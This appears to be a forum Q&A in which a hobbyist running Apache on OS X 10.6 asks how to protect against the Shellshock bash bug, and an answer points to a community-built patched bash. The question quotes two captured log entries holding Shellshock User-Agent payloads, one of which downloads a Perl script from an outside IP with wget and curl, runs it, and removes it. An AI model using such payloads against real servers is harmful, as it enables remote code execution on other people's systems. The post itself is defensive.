Apple Shellshock patch for 10.6? I am running a small HTTP server (Apache) off my Mac mostly as a hobby. If it becomes compromised it isn't the end of the world but it is something I would certainly like to prevent. I set up a launchctl job to check the Apache log file for possible requests related to Shellshock and last night I received to two related entries: 

82.221.128.246 - - [29/Sep/2014:08:14:41 -0400] "GET / HTTP/1.1" 200 2081 "-" "() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\""
173.45.100.18 - - [29/Sep/2014:00:52:07 -0400] "GET /cgi-bin/hi HTTP/1.0" 404 208 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""


The first one looks harmless and the IP hosts a very legitimate looking website claiming that their requests are for research purposes only. The second one is a different story though, it tries to download and run a Perl script. Fortunately I don't have wget installed so this attack didn't work but it seems like it's only a matter of time before I get a request like this that does some damage.

Apple just released patches for OS X 10.7 and latter but unfortunately I am running 10.6. What simple and reliable measures can I take (i.e. not recompiling bash) to reduce my risks?
If you don't want to recompile Bash yourself, the folks at TenFourFox (who make a PPC version of Firefox) have compiled a binary that works on OS X 10.4 - 10.9 on both PPC and Intel Macs, and have terminal instructions for installing:

http://tenfourfox.blogspot.com/2014/09/bashing-bash-one-more-time-updated.html

At the time of writing (Sept 30) they've compiled Bash 4.3.27, but this still misses a couple of vulnerabilities that the Apple official patch has also missed.  So it's better than nothing, but you'll want to keep watching for future updates.